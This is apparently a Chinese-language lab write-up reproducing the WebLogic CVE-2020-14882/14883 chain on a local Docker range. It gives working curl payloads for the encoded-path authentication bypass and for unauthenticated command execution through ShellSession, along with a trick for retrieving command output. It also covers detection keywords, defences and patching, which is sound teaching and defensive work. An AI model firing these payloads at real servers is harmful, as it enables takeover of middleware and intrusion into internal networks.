写在前面:合法学习边界
本文复现只在本机靶场进行。WebLogic 漏洞利用可直接控制中间件,禁止对真实系统使用。
一、漏洞原理(两个 CVE 是一条链)
1
2
| CVE-2020-14882:路径编码绕过认证,未授权访问管理后台 console
CVE-2020-14883:配合后台的 handle 参数执行命令(RCE)
|
1
2
| 14882:URL 里把 /console/ 用 %2e%2e 编码绕过权限判断
14883:未授权拿到后台后,用 ShellSession 执行任意命令
|
影响版本:
1
2
3
4
| WebLogic 10.3.6.0
12.1.3.0
12.2.1.3 / 12.2.1.4
14.1.1.0
|
二、影响与危害
1
2
3
| 未授权进入管理后台
直接命令执行(RCE)
中间件完全控制、内网横向
|
风险等级:严重。WebLogic 在内网 Java 系统里非常常见。
三、利用 / 复现
环境准备
1
| docker run -d -p 7001:7001 --name wl vulhub/weblogic:CVE-2020-14882
|
第一步:验证未授权访问(14882)
1
2
| # 路径编码绕过
curl -k "http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal"
|
能返回 console 页面且无需登录,说明 14882 成立。
第二步:命令执行(14883)
老版本(10.3.6/12.1.3,未授权即可执行):
1
| curl -k "http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('id');\")"
|
新版本(12.2.1.3+)默认关闭直接执行,需要先结合其他方式(如写文件)或利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 加载远程 XML 实现 RCE。
回显技巧
1
2
| 命令无直接回显时:把结果写到 web 目录再访问
例如 exec("cmd /c whoami > servers/AdminServer/.../console_ext/1.txt")
|
四、检测
1
2
3
4
| 日志中找 /console/ 与 %2e%2e、%252e%252e 编码
访问 console 的 IP 不在白名单
出现 ShellSession、Runtime.getRuntime 关键字
异常出站连接与命令执行痕迹
|
五、防御
1
2
3
4
| 限制 console 访问来源(白名单/内网)
WAF 拦截 %2e%2e 与 ShellSession 关键字
升级到已修复版本
对 admin 端口做网络隔离
|
六、修复
1
2
3
4
| 升级 WebLogic 到官方安全补丁(含 14882/14883 修复)
关闭不必要的 console 暴露
给管理后台加二次认证/强口令
修复后复测:编码绕过路径与命令执行均被拒
|
七、小结
14882+14883 是“未授权 + 命令执行”的标准组合。识别特征:7001 端口 + /console/ 路径 + %2e%2e 编码。打 WebLogic 这类中间件,先判断版本,因为新旧版本利用链完全不同。